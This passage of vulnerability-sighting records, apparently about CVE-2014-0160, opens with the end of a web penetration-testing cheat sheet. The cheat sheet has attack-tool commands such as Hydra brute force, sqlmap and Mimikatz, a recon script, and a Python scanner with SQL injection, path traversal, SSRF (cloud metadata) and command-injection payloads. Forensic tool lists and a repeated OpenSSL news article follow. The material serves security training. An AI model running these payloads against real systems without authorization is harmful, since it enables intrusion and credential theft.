OSINT gathering | `theHarvester -d target.com -b all` |\n| **dnsrecon** | DNS enumeration | `dnsrecon -d target.com` |\n| **massdns** | High-performance DNS | `massdns -r lists/resolvers.txt -t A domains.txt` |\n| **shodan** | Internet device search | `shodan search hostname:target.com` |\n| **censys** | Certificate search | `censys search target.com` |\n\n#### Scanning\n| Tool | Purpose | Command Example |\n|------|---------|-----------------|\n| **Nmap** | Port scanning | `nmap -sV -sC target.com` |\n| **Masscan** | High-speed scanning | `masscan -p1-65535 --rate=10000 target.com` |\n| **Rustscan** | Fast port scanner | `rustscan -a target.com` |\n| **Naabu** | Port scanning | `naabu -host target.com` |\n| **Httpx** | HTTP probing | `httpx -l hosts.txt -title -tech-detect` |\n\n#### Web Enumeration\n| Tool | Purpose | Command Example |\n|------|---------|-----------------|\n| **Gobuster** | Directory brute force | `gobuster dir -u target.com -w wordlist.txt` |\n| **FFUF** | Web fuzzing | `ffuf -u target.com/FUZZ -w wordlist.txt` |\n| **Dirb** | Directory scanner | `dirb http://target.com` |\n| **Wfuzz** | Web fuzzer | `wfuzz -c -z file,wordlist.txt target.com/FUZZ` |\n| **Nikto** | Web vulnerability scanner | `nikto -h target.com` |\n| **WhatWeb** | Technology detection | `whatweb target.com` |\n| **WPScan** | WordPress scanner | `wpscan --url target.com` |\n| **Joomscan** | Joomla scanner | `joomscan -u target.com` |\n| **Droopescan** | Drupal scanner | `droopescan scan drupal -u target.com` |\n\n#### Vulnerability Assessment\n| Tool | Purpose | Command Example |\n|------|---------|-----------------|\n| **Nuclei** | Template-based scanner | `nuclei -u target.com` |\n| **OpenVAS** | Vulnerability scanner | `gvm-start` |\n| **Nessus** | Commercial scanner | `nessuscli scan new` |\n| **Wapiti** | Web vulnerability scanner | `wapiti -u https://target.com` |\n| **Arachni** | Web scanner | `arachni https://target.com` |\n\n#### Exploitation\n| Tool | Purpose | Command Example |\n|------|---------|-----------------|\n| **Metasploit** | Exploitation framework | `msfconsole` |\n| **SQLmap** | SQL injection | `sqlmap -u target.com?id=1` |\n| **Commix** | Command injection | `commix -u target.com?cmd=test` |\n| **BeEF** | Browser exploitation | `beef` |\n| **XSStrike** | XSS scanner | `xsstrike -u target.com?q=test` |\n| **Dalfox** | XSS scanner | `dalfox url target.com?p=test` |\n\n#### Password Attacks\n| Tool | Purpose | Command Example |\n|------|---------|-----------------|\n| **Hydra** | Online brute force | `hydra -l admin -P pass.txt target.com http-post-form` |\n| **Medusa** | Parallel brute force | `medusa -h target.com -U users.txt -P pass.txt -M http` |\n| **John** | Offline password cracker | `john --wordlist=rockyou.txt hash.txt` |\n| **Hashcat** | GPU password cracker | `hashcat -m 0 -a 0 hash.txt rockyou.txt` |\n| **CeWL** | Custom wordlist generator | `cewl https://target.com -w wordlist.txt` |\n\n#### Post-Exploitation\n| Tool | Purpose | Command Example |\n|------|---------|-----------------|\n| **LinPEAS** | Linux privilege escalation | `./linpeas.sh` |\n| **WinPEAS** | Windows privilege escalation | `.\\winPEAS.exe` |\n| **Impacket** | Network protocols | `psexec.py user:pass@target` |\n| **Mimikatz** | Credential dumping | `mimikatz.exe` |\n| **BloodHound** | Active Directory mapping | `bloodhound-python -u user -p pass -d domain.local` |\n\n#### Proxies & Interception\n| Tool | Purpose | Command Example |\n|------|---------|-----------------|\n| **Burp Suite** | Web proxy | Start from Applications menu |\n| **ZAP** | Web proxy | `zaproxy` |\n| **Mitmproxy** | CLI proxy | `mitmproxy` |\n| **Proxychains** | Proxy chaining | `proxychains nmap target.com` |\n\n#### Wordlists\n| Wordlist | Location | Description |\n|----------|----------|-------------|\n| **rockyou.txt** | `/usr/share/wordlists/rockyou.txt` | Common passwords |\n| **SecLists** | `/usr/share/seclists` | Comprehensive wordlists |\n| **dirb common** | `/usr/share/wordlists/dirb/common.txt` | Common directories |\n| **dirbuster** | `/usr/share/wordlists/dirbuster` | Directory lists |\n| **fuzzdb** | `/usr/share/fuzzdb` | Attack payloads |\n\n---\n\n## Practice Labs & Resources\n\n### Online Platforms\n\n#### Free Labs\n| Platform | URL | Description |\n|----------|-----|-------------|\n| **PortSwigger Web Security Academy** | https://portswigger.net/web-security | Free XSS, SQLi, SSRF labs |\n| **OWASP WebGoat** | https://github.com/WebGoat/WebGoat | Vulnerable web app |\n| **OWASP Juice Shop** | https://github.com/juice-shop/juice-shop | Modern vulnerable app |\n| **DVWA** | http://www.dvwa.co.uk/ | Damn Vulnerable Web App |\n| **bWAPP** | http://www.itsecgames.com/ | Buggy web app |\n| **Mutillidae** | https://github.com/webpwnized/mutillidae | OWASP Mutillidae II |\n\n#### Paid/Subscription Labs\n| Platform | URL | Description |\n|----------|-----|-------------|\n| **HackTheBox** | https://www.hackthebox.com | Realistic machines |\n| **TryHackMe** | https://tryhackme.com | Guided learning |\n| **PentesterLab** | https://pentesterlab.com | Hands-on exercises |\n| **PentesterAcademy** | https://www.pentesteracademy.com | Video courses |\n| **Offensive Security Proving Grounds** | https://www.offensive-security.com/labs/ | OSCP practice |\n| **VulnHub** | https://www.vulnhub.com | Downloadable VMs |\n\n### CTF Platforms\n| Platform | URL | Focus |\n|----------|-----|-------|\n| **CTFtime** | https://ctftime.org | CTF calendar & rankings |\n| **PicoCTF** | https://picoctf.org | Beginner-friendly |\n| **OverTheWire** | https://overthewire.org | WarGames |\n| **RingZer0** | https://ringzer0ctf.com | CTF challenges |\n| **Hacker101** | https://www.hacker101.com | Bug bounty training |\n\n### Bug Bounty Platforms\n| Platform | URL |\n|----------|-----|\n| **HackerOne** | https://www.hackerone.com |\n| **Bugcrowd** | https://www.bugcrowd.com |\n| **Intigriti** | https://www.intigriti.com |\n| **YesWeHack** | https://www.yeswehack.com |\n| **Synack** | https://www.synack.com |\n\n### Reference Materials\n\n#### Books\n| Title | Author | Focus |\n|-------|--------|-------|\n| **The Web Application Hacker's Handbook** | Stuttard & Pinto | Web app testing |\n| **OWASP Testing Guide** | OWASP | Comprehensive methodology |\n| **Penetration Testing: A Hands-On Introduction** | Georgia Weidman | General pentesting |\n| **Red Team Field Manual** | Ben Clark | Quick reference |\n| **Blue Team Field Manual** | Alan White | Defense reference |\n| **Hacking: The Art of Exploitation** | Jon Erickson | Technical deep dive |\n\n#### Online Resources\n| Resource | URL | Focus |\n|----------|-----|-------|\n| **OWASP** | https://owasp.org | Web security |\n| **HackTricks** | https://book.hacktricks.xyz | Pentesting techniques |\n| **PayloadsAllTheThings** | https://github.com/swisskyrepo/PayloadsAllTheThings | Payload collection |\n| **GTFOBins** | https://gtfobins.github.io | Linux binary exploitation |\n| **LOLBAS** | https://lolbas-project.github.io | Windows binary exploitation |\n| **Exploit-DB** | https://www.exploit-db.com | Exploit database |\n| **CVE Details** | https://www.cvedetails.com | CVE database |\n| **MITRE ATT&CK** | https://attack.mitre.org | Adversary tactics |\n\n### YouTube Channels\n| Channel | Focus |\n|---------|-------|\n| **IppSec** | HackTheBox walkthroughs |\n| **The Cyber Mentor** | Pentesting tutorials |\n| **ST\u00d6K** | Bug bounty |\n| **HackerSploit** | Security tutorials |\n| **John Hammond** | CTF walkthroughs |\n| **LiveOverflow** | Technical deep dives |\n\n### Certifications\n| Certification | Provider | Focus |\n|---------------|----------|-------|\n| **OSCP** | Offensive Security | Hands-on pentesting |\n| **OSWP** | Offensive Security | Wireless pentesting |\n| **OSWE** | Offensive Security | Web app pentesting |\n| **OSEP** | Offensive Security | Advanced evasion |\n| **CEH** | EC-Council | Ethical hacking |\n| **eWPT** | eLearnSecurity | Web pentesting |\n| **eCPPT** | eLearnSecurity | Network pentesting |\n| **PNPT** | TCM Security | Practical pentesting |\n| **GPEN** | GIAC | Network pentesting |\n| **GWAPT** | GIAC | Web app pentesting |\n| **CISSP** | ISC\u00b2 | Security management |\n\n---\n\n## Sample Scripts\n\n### Complete Reconnaissance Script\n\n```bash\n#!/bin/bash\n# recon.sh - Complete reconnaissance script\n# Usage: ./recon.sh target.com\n\nTARGET=\"$1\"\nOUTDIR=\"recon_${TARGET}_$(date +%Y%m%d_%H%M%S)\"\nmkdir -p \"$OUTDIR\"\ncd \"$OUTDIR\"\n\necho \"[*] Starting reconnaissance against $TARGET\"\necho \"[*] Output directory: $OUTDIR\"\n\n# 1. WHOIS\necho \"[*] WHOIS lookup...\"\nwhois \"$TARGET\" > whois.txt 2>&1\n\n# 2. DNS enumeration\necho \"[*] DNS enumeration...\"\ndig \"$TARGET\" ANY +noall +answer > dns_any.txt\ndig \"$TARGET\" MX +short > dns_mx.txt\ndig \"$TARGET\" NS +short > dns_ns.txt\ndig \"$TARGET\" TXT +short > dns_txt.txt\n\n# Zone transfer attempt\nfor ns in $(cat dns_ns.txt); do\n    echo \"[*] Attempting zone transfer from $ns\"\n    dig AXFR \"$TARGET\" \"@$ns\" >> zonetransfer.txt 2>&1\ndone\n\n# 3. Subdomain enumeration\necho \"[*] Subdomain enumeration...\"\nsublist3r -d \"$TARGET\" -o sublist3r.txt > /dev/null 2>&1\namass enum -passive -d \"$TARGET\" -o amass.txt > /dev/null 2>&1\ncat sublist3r.txt amass.txt 2>/dev/null | sort -u > subdomains.txt\n\n# 4. HTTP probing\necho \"[*] HTTP probing...\"\nif [ -f subdomains.txt ]; then\n    httpx -l subdomains.txt -title -tech-detect -status-code -o httpx.txt\nfi\n\n# 5. Technology detection\necho \"[*] Technology detection...\"\nwhatweb \"https://$TARGET\" --log-json=whatweb.json > /dev/null 2>&1\nwafw00f \"https://$TARGET\" > waf.txt 2>&1\n\n# 6. HTTP headers\necho \"[*] HTTP headers...\"\ncurl -sI \"https://$TARGET\" > headers.txt\n\n# 7. robots.txt & sitemap\necho \"[*] robots.txt and sitemap...\"\ncurl -s \"https://$TARGET/robots.txt\" > robots.txt\ncurl -s \"https://$TARGET/sitemap.xml\" > sitemap.xml\n\n# 8. Wayback URLs\necho \"[*] Wayback Machine URLs...\"\nwaybackurls \"$TARGET\" > wayback.txt\ngrep \"=\" wayback.txt > wayback_params.txt\n\n# 9. Port scanning (quick)\necho \"[*] Quick port scan...\"\nnmap -T4 -F --open -oN nmap_quick.txt \"$TARGET\"\n\n# 10. Generate report\necho \"[*] Generating report...\"\ncat > report.md << EOF\n# Reconnaissance Report: $TARGET\n\n## Date\n$(date)\n\n## WHOIS Summary\n\\`\\`\\`\n$(head -20 whois.txt)\n\\`\\`\\`\n\n## DNS Records\n### Name Servers\n$(cat dns_ns.txt)\n\n### Mail Servers\n$(cat dns_mx.txt)\n\n### TXT Records\n$(cat dns_txt.txt)\n\n## Subdomains Found\n$(wc -l subdomains.txt 2>/dev/null || echo \"0\") subdomains found\n\\`\\`\\`\n$(head -20 subdomains.txt 2>/dev/null)\n\\`\\`\\`\n\n## Technologies Detected\n\\`\\`\\`\n$(cat whatweb.json 2>/dev/null | jq -r '.[] | \"\\(.plugin): \\(.version // \"unknown\")\"' 2>/dev/null)\n\\`\\`\\`\n\n## Security Headers\n\\`\\`\\`\n$(cat headers.txt)\n\\`\\`\\`\n\n## Open Ports\n\\`\\`\\`\n$(grep \"open\" nmap_quick.txt 2>/dev/null | head -20)\n\\`\\`\\`\n\n## Interesting URLs from Wayback\n\\`\\`\\`\n$(head -20 wayback_params.txt 2>/dev/null)\n\\`\\`\\`\nEOF\n\necho \"[+] Recon complete! Results in $OUTDIR\"\necho \"[+] Report: $OUTDIR/report.md\"\n```\n\n### Web Vulnerability Scanner\n\n```python\n#!/usr/bin/env python3\n# web_scanner.py - Multi-vulnerability web scanner\n# Usage: python3 web_scanner.py -u https://target.com\n\nimport argparse\nimport requests\nimport urllib.parse\nimport re\nimport sys\nfrom concurrent.futures import ThreadPoolExecutor\nimport urllib3\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\nclass WebScanner:\n    def __init__(self, base_url, threads=10, timeout=10):\n        self.base_url = base_url.rstrip('/')\n        self.threads = threads\n        self.timeout = timeout\n        self.session = requests.Session()\n        self.session.headers.update({\n            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) WebScanner/1.0'\n        })\n        self.session.verify = False\n        self.findings = []\n        \n        # Payloads\n        self.sqli_payloads = [\n            \"' OR '1'='1\",\n            \"' OR 1=1--\",\n            \"1' AND '1'='1\",\n            \"1' AND '1'='2\",\n            \"1' UNION SELECT NULL--\",\n            \"1' UNION SELECT NULL,NULL--\",\n            \"1' AND SLEEP(5)--\",\n            \"1' WAITFOR DELAY '00:00:05'--\"\n        ]\n        \n        self.xss_payloads = [\n            \"alert('XSS')\",\n            \"\",\n            \"\",\n            \"javascript:alert(1)\",\n            \"\\\">alert(1)\"\n        ]\n        \n        self.lfi_payloads = [\n            \"../../../etc/passwd\",\n            \"../../../../etc/passwd\",\n            \"..\\\\..\\\\..\\\\windows\\\\win.ini\",\n            \"../../../etc/passwd%00\",\n            \"../../../etc/passwd%00.png\"\n        ]\n        \n        self.ssrf_payloads = [\n            \"http://127.0.0.1/\",\n            \"http://localhost/\",\n            \"http://169.254.169.254/latest/meta-data/\",\n            \"http://[::1]/\",\n            \"file:///etc/passwd\"\n        ]\n        \n        self.cmdi_payloads = [\n            \"; id\",\n            \"| id\",\n            \"&& id\",\n            \"`id`\",\n            \"$(id)\",\n            \"; sleep 5\"\n        ]\n    \n    def discover_params(self):\n        \"\"\"Discover parameters from URL\"\"\"\n        parsed = urllib.parse.urlparse(self.base_url)\n        params = urllib.parse.parse_qs(parsed.query)\n        discovered = list(params.keys())\n        \n        # Common parameter names to test\n        common_params = ['id', 'page', 'file', 'url', 'path', 'q', 'search', \n                        'query', 'name', 'user', 'username', 'email', 'pass', \n                        'password', 'redirect', 'return', 'next', 'view', \n                        'action', 'cat', 'category']\n        \n        # Add common params if none discovered\n        if not discovered:\n            discovered = common_params\n        \n        return discovered\n    \n    def test_sqli(self, url, param):\n        \"\"\"Test SQL injection\"\"\"\n        for payload in self.sqli_payloads:\n            try:\n                test_url = f\"{url}?{param}={urllib.parse.quote(payload)}\"\n                start = time.time()\n                resp = self.session.get(test_url, timeout=self.timeout)\n                elapsed = time.time() - start\n                \n                # Check for time-based\n                if elapsed > 4 and 'sleep' in payload.lower():\n                    self.add_finding('SQLi', param, payload, 'Time-based blind')\n                    return\n                \n                # Check for error-based\n                if any(err in resp.text.lower() for err in \n                       ['sql', 'mysql', 'syntax error', 'ora-', 'microsoft ole db']):\n                    self.add_finding('SQLi', param, payload, 'Error-based')\n                    return\n                \n                # Check for boolean-based\n                true_payload = f\"1' AND '1'='1\"\n                false_payload = f\"1' AND '1'='2\"\n                \n                true_resp = self.session.get(f\"{url}?{param}={true_payload}\")\n                false_resp = self.session.get(f\"{url}?{param}={false_payload}\")\n                \n                if len(true_resp.text) != len(false_resp.text):\n                    self.add_finding('SQLi', param, 'Boolean-based', \n                                    'Different response lengths')\n                    return\n                    \n            except Exception as e:\n                continue\n    \n    def test_xss(self, url, param):\n        \"\"\"Test Cross-Site Scripting\"\"\"\n        for payload in self.xss_payloads:\n            try:\n                test_url = f\"{url}?{param}={urllib.parse.quote(payload)}\"\n                resp = self.session.get(test_url, timeout=self.timeout)\n                \n                # Check if payload is reflected\n                if payload in resp.text or urllib.parse.quote(payload) in resp.text:\n                    self.add_finding('XSS', param, payload, 'Reflected')\n                    return\n                    \n            except Exception as e:\n                continue\n    \n    def test_lfi(self, url, param):\n        \"\"\"Test Local File Inclusion\"\"\"\n        for payload in self.lfi_payloads:\n            try:\n                test_url = f\"{url}?{param}={urllib.parse.quote(payload)}\"\n                resp = self.session.get(test_url, timeout=self.timeout)\n                \n                # Check for file contents\n                if re.search(r'root:.*:0:0:|\\[extensions\\]|for 16-bit app', resp.text):\n                    self.add_finding('LFI', param, payload, 'File read')\n                    return\n                    \n            except Exception as e:\n                continue\n    \n    def test_ssrf(self, url, param):\n        \"\"\"Test Server-Side Request Forgery\"\"\"\n        for payload in self.ssrf_payloads:\n            try:\n                test_url = f\"{url}?{param}={urllib.parse.quote(payload)}\"\n                resp = self.session.get(test_url, timeout=self.timeout)\n                \n                # Check for internal/cloud metadata\n                if re.search(r'ami-id|instance-id|localhost|root:', resp.text, re.I):\n                    self.add_finding('SSRF', param, payload, 'Internal access')\n                    return\n                    \n            except Exception as e:\n                continue\n    \n    def test_cmdi(self, url, param):\n        \"\"\"Test Command Injection\"\"\"\n        for payload in self.cmdi_payloads:\n            try:\n                test_url = f\"{url}?{param}={urllib.parse.quote(payload)}\"\n                start = time.time()\n                resp = self.session.get(test_url, timeout=self.timeout)\n                elapsed = time.time() - start\n                \n                # Check for time-based\n                if elapsed > 4 and 'sleep' in payload:\n                    self.add_finding('Command Injection', param, payload, 'Time-based')\n                    return\n                \n                # Check for command output\n                if re.search(r'uid=\\d+|gid=\\d+|root:', resp.text):\n                    self.add_finding('Command Injection', param, payload, 'Command output')\n                    return\n                    \n            except Exception as e:\n                continue\n    \n    def check_headers(self):\n        \"\"\"Check security headers\"\"\"\n        try:\n            resp = self.session.get(self.base_url, timeout=self.timeout)\n            headers = {k.lower(): v for k, v in resp.headers.items()}\n            \n            security_headers = {\n                'strict-transport-security': 'HSTS',\n                'content-security-policy': 'CSP',\n                'x-frame-options': 'X-Frame-Options',\n                'x-content-type-options': 'X-Content-Type-Options',\n                'x-xss-protection': 'X-XSS-Protection',\n                'referrer-policy': 'Referrer-Policy'\n            }\n            \n            missing = []\n            for header, name in security_headers.items():\n                if header not in headers:\n                    missing.append(name)\n            \n            if missing:\n                self.findings.append({\n                    'type': 'Missing Security Headers',\n                    'details': f\"Missing: {', '.join(missing)}\"\n                })\n                \n        except Exception as e:\n            print(f\"[-] Header check failed: {e}\")\n    \n    def add_finding(self, vuln_type, param, payload, details):\n        \"\"\"Add finding to results\"\"\"\n        finding = {\n            'type': vuln_type,\n            'parameter': param,\n            'payload': payload,\n            'details': details,\n            'url': self.base_url\n        }\n        self.findings.append(finding)\n        print(f\"[!] Found: {vuln_type} on parameter '{param}' - {details}\")\n    \n    def scan(self):\n        \"\"\"Main scan function\"\"\"\n        print(f\"[*] Starting scan on {self.base_url}\")\n        \n        # Discover parameters\n        params = self.discover_params()\n        print(f\"[*] Testing parameters: {', '.join(params)}\")\n        \n        # Check headers\n        self.check_headers()\n        \n        # Test each parameter\n        for param in params:\n            print(f\"[*] Testing parameter: {param}\")\n            \n            # Run all tests\n            self.test_sqli(self.base_url, param)\n            self.test_xss(self.base_url, param)\n            self.test_lfi(self.base_url, param)\n            self.test_ssrf(self.base_url, param)\n            self.test_cmdi(self.base_url, param)\n        \n        # Print summary\n        print(\"\\n\" + \"=\"*50)\n        print(\"SCAN SUMMARY\")\n        print(\"=\"*50)\n        print(f\"Total findings: {len(self.findings)}\")\n        \n        for i, finding in enumerate(self.findings, 1):\n            print(f\"\\n{i}. {finding['type']}\")\n            print(f\"   Parameter: {finding.get('parameter', 'N/A')}\")\n            print(f\"   Details: {finding['details']}\")\n\ndef main():\n    parser = argparse.ArgumentParser(description='Web Vulnerability Scanner')\n    parser.add_argument('-u', '--url', required=True, help='Target URL')\n    parser.add_argument('-t', '--threads', type=int, default=10, help='Threads')\n    parser.add_argument('--timeout', type=int, default=10, help='Timeout')\n    \n    args = parser.parse_args()\n    \n    scanner = WebScanner(args.url, args.threads, args.timeout)\n    scanner.scan()\n\nif __name__ == '__main__':\n    import time\n    main()\n```\n\n---\n\n## Conclusion\n\nThis comprehensive web penetration testing cheat sheet covers the essential tools, techniques, and methodologies for ethical hacking and security testing. Remember:\n\n### Key Principles\n1. **Always obtain proper authorization** before testing\n2. **Stay within scope** defined in the rules of engagement\n3. **Document everything** for evidence and reporting\n4. **Follow responsible disclosure** when finding vulnerabilities\n5. **Continuous learning** - the security landscape constantly evolves\n\n### Next Steps\n1. Set up a practice lab (DVWA, WebGoat, HackTheBox)\n2. Master the core tools (Burp Suite, Nmap, SQLmap)\n3. Learn programming (Python, Bash, JavaScript)\n4. Get certified (OSCP, PNPT, etc.)\n5. Participate in bug bounty programs\n6. Stay updated with security news and CVEs\n\n### Stay Legal, Stay Ethical\nRemember that with great power comes great responsibility. Use these skills to make the internet safer, not to cause harm. Always test with permission and report vulnerabilities responsibly.\n\n---\n\n*\u00a9 2025 awjunaid.com - For authorized security testing only*", "creation_timestamp": "2026-08-25T16:06:29.483451Z"}, {"uuid": "d9f3cd90-dc11-404a-ba5b-a4304f69fc81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://t.me/cissp/5750", "content": "Forensic Investigation Tools for IT Security Expert\n\nAutopsy http://www.sleuthkit.org/autopsy/\nSleuth Kit (+Autopsy) https://www.sleuthkit.org/autopsy/\nForensic Investigator https://splunkbase.splunk.com/app/2895/\nEncrypted Disk Detector https://www.magnetforensics.com/resources/encrypted-disk-detector//\nWireshark https://www.wireshark.org/\nMagnet RAM Capture https://www.magnetforensics.com/resources/magnet-ram-capture/\nNetwork Miner https://www.netresec.com/?page=NetworkMiner\nNMAP https://nmap.org/\nRAM Capturer https://belkasoft.com/ram-capturer\nForensic Investigator https://splunkbase.splunk.com/app/2895/\nFAW\nhttps://en.fawproject.com/\nFTK Imager https://www.exterro.com/sorry-for-the-inconvenience\nX-Ways Forensics http://www.x-ways.net/forensics/\nHashMyFiles https://www.nirsoft.net/utils/hash_my_files.html\nCrowd Response\nhttps://www.crowdstrike.com/resources/community-tools/ https://geekflare.com/how-to-test-heart-bleed-ssl-vulnerabilities-cve-2014-0160/\nNFI Defraser\n\nhttps://sourceforge.net/projects/defraser/ ExifTool\nhttps://exiftool.org/ Toolsley\nhttps://www.toolsley.com/ SIFT\nDumpzilla http://www.dumpzilla.org/\nBrowser History\nFoxton has two free exciting tools.\nBrowser history capturer \u2013 capture web browser (chrome, firefox, IE & edge) history on\nWindows OS.\nBrowser history viewer \u2013 extract and analyze internet activity history from most of modern browsers. Results are shown in the interactive graph, and historical data can be filtered.\nForensicUserInfo https://github.com/woanware\nKali Linux https://www.kali.org/\nPaladin https://sumuri.com/software/paladin/\nSleuth Kit http://www.sleuthkit.org/sleuthkit/\nCAINE https://www.caine-live.net/\nhttps://www.caine-live.net/page5/page5.html", "creation_timestamp": "2026-09-01T17:00:29.972559Z"}, {"uuid": "409ffcb9-1772-4db9-aef4-79d66e26fd0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://t.me/hacking_Attack/74815", "content": "Black Hat Ethical Hacking\nOpenSSL Gives Heads Up to Critical Vulnerability Disclosure\n\nOpenSSL Gives Heads Up to Critical Vulnerability DisclosurePost Views: 66 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Developers of the OpenSSL\u00a0cryptography\u00a0library have taken the unusual step of pre-warning that an update due to land next Tuesday (November 1) will fix a critical vulnerability.The looming OpenSSL 3.x patch represent only the second time the project has addressed a flaw classified as \u2018critical\u2019. The only previous OpenSSL update of such elevated severity addressed the infamous Heartbleed vulnerability (CVE-2014-0160).\n\nHeartbleed was a memory handling bug that opened the door for attackers to access secret keys, passwords, and sensitive personal information from vulnerable servers. At the time of its discovery eight years ago, experts from Netcraft estimated that the flaw affected 17% of SSL web servers or \u201chalf a million widely trusted websites\u201d.\n\nLittle is known about the upcoming critical fix (OpenSSL 3.0.7), other than it is restricted to OpenSSL version 3.0, the latest release line of the software, and does not affect previous versions.\n\nOpenSSL 3.0.x only debuted in 2021, a factor that might limit the extent of the problems next week\u2019s announcement will reveal. OpenSSL has been around since 1998 and most systems today are still built using earlier release lines.\n\nNo details of the upcoming patch or the critical flaw it tackles have been released. In the absence of any hard info, infosec Twitter has gone into overdrive with some speculating that the vulnerability might represent the \u201cnext Heartbleed\u201d.\n\nOne security expert from Google, for example, has suggested\u00a0on the basis of recent software commits and a blog post by the OpenSSL team that the update might relate to a denial-of-service (DoS) issue.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Feel the DHEatThis particular DoS bug \u2013 known as DHEat and previous confirmed to affect OpenVPN and SSH services \u2013 involves enforcing the Diffie-Hellman key exchange.\n\nDHEat (AKA CVE-2002-20001) scores 7.5 on the CVSS 3.1 index, indicating high severity and falling somewhat short of critical.\n\nOn the face of it, an OpenSSL patch for DHEat would appear to be a poor candidate for a critical patch unless OpenSSL is particularly vulnerable. A recent OpenSSL blog post\u00a0referencing DHEat makes it even more unlikely that the looming patch tackles this issue.\n\nIt seems more likely that a previously unknown vulnerability is at play, according to experts quizzed by The Daily Swig.\nTrending: Exploit XSS Injections in a one-line powerful Technique\nTrending: Recon Tool: Hakrawler Action stationsBrian Fox, CTO of Sonatype, told us\u00a0that organizations should audit their code base for exposure to any vulnerability in OpenSSL 3.0.x, leaving them prepared to either patch or isolate vulnerable systems next week.\n\n\u201cIn the first instance, it\u2019s critical to find out where 3.x is used,\u201d Fox said. \u201cMore importantly, it\u2019s vital to get tooling in place to avoid having to audit and identify components manually every time.\u201d\n\nFox went on to argue that speculation about the content of the upcoming fix were, at best, \u201cunhelpful\u201d. He said: \u201cThe speculation assumes that the fix is available in the publicly visible source and the advance notice gives attackers time to find it. This assumption may not be true. It is a best practice at some times to embargo the actual change until after the announcement for this exact reason.\n\n\u201cThe team at OpenSSL consists of some of the foremost experts in handling high profile open sou[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:19.487635Z"}, {"uuid": "8fd2d56a-f750-4173-92e4-67bc40c4292d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://t.me/hacking_Attack/74815", "content": "Black Hat Ethical Hacking\nOpenSSL Gives Heads Up to Critical Vulnerability Disclosure\n\nOpenSSL Gives Heads Up to Critical Vulnerability DisclosurePost Views: 66 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Developers of the OpenSSL\u00a0cryptography\u00a0library have taken the unusual step of pre-warning that an update due to land next Tuesday (November 1) will fix a critical vulnerability.The looming OpenSSL 3.x patch represent only the second time the project has addressed a flaw classified as \u2018critical\u2019. The only previous OpenSSL update of such elevated severity addressed the infamous Heartbleed vulnerability (CVE-2014-0160).\n\nHeartbleed was a memory handling bug that opened the door for attackers to access secret keys, passwords, and sensitive personal information from vulnerable servers. At the time of its discovery eight years ago, experts from Netcraft estimated that the flaw affected 17% of SSL web servers or \u201chalf a million widely trusted websites\u201d.\n\nLittle is known about the upcoming critical fix (OpenSSL 3.0.7), other than it is restricted to OpenSSL version 3.0, the latest release line of the software, and does not affect previous versions.\n\nOpenSSL 3.0.x only debuted in 2021, a factor that might limit the extent of the problems next week\u2019s announcement will reveal. OpenSSL has been around since 1998 and most systems today are still built using earlier release lines.\n\nNo details of the upcoming patch or the critical flaw it tackles have been released. In the absence of any hard info, infosec Twitter has gone into overdrive with some speculating that the vulnerability might represent the \u201cnext Heartbleed\u201d.\n\nOne security expert from Google, for example, has suggested\u00a0on the basis of recent software commits and a blog post by the OpenSSL team that the update might relate to a denial-of-service (DoS) issue.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Feel the DHEatThis particular DoS bug \u2013 known as DHEat and previous confirmed to affect OpenVPN and SSH services \u2013 involves enforcing the Diffie-Hellman key exchange.\n\nDHEat (AKA CVE-2002-20001) scores 7.5 on the CVSS 3.1 index, indicating high severity and falling somewhat short of critical.\n\nOn the face of it, an OpenSSL patch for DHEat would appear to be a poor candidate for a critical patch unless OpenSSL is particularly vulnerable. A recent OpenSSL blog post\u00a0referencing DHEat makes it even more unlikely that the looming patch tackles this issue.\n\nIt seems more likely that a previously unknown vulnerability is at play, according to experts quizzed by The Daily Swig.\nTrending: Exploit XSS Injections in a one-line powerful Technique\nTrending: Recon Tool: Hakrawler Action stationsBrian Fox, CTO of Sonatype, told us\u00a0that organizations should audit their code base for exposure to any vulnerability in OpenSSL 3.0.x, leaving them prepared to either patch or isolate vulnerable systems next week.\n\n\u201cIn the first instance, it\u2019s critical to find out where 3.x is used,\u201d Fox said. \u201cMore importantly, it\u2019s vital to get tooling in place to avoid having to audit and identify components manually every time.\u201d\n\nFox went on to argue that speculation about the content of the upcoming fix were, at best, \u201cunhelpful\u201d. He said: \u201cThe speculation assumes that the fix is available in the publicly visible source and the advance notice gives attackers time to find it. This assumption may not be true. It is a best practice at some times to embargo the actual change until after the announcement for this exact reason.\n\n\u201cThe team at OpenSSL consists of some of the foremost experts in handling high profile open sou[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:34.421357Z"}, {"uuid": "a6f303e5-a881-4f33-ad53-55541071e1e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://t.me/cissp/5750", "content": "Forensic Investigation Tools for IT Security Expert\n\nAutopsy http://www.sleuthkit.org/autopsy/\nSleuth Kit (+Autopsy) https://www.sleuthkit.org/autopsy/\nForensic Investigator https://splunkbase.splunk.com/app/2895/\nEncrypted Disk Detector https://www.magnetforensics.com/resources/encrypted-disk-detector//\nWireshark https://www.wireshark.org/\nMagnet RAM Capture https://www.magnetforensics.com/resources/magnet-ram-capture/\nNetwork Miner https://www.netresec.com/?page=NetworkMiner\nNMAP https://nmap.org/\nRAM Capturer 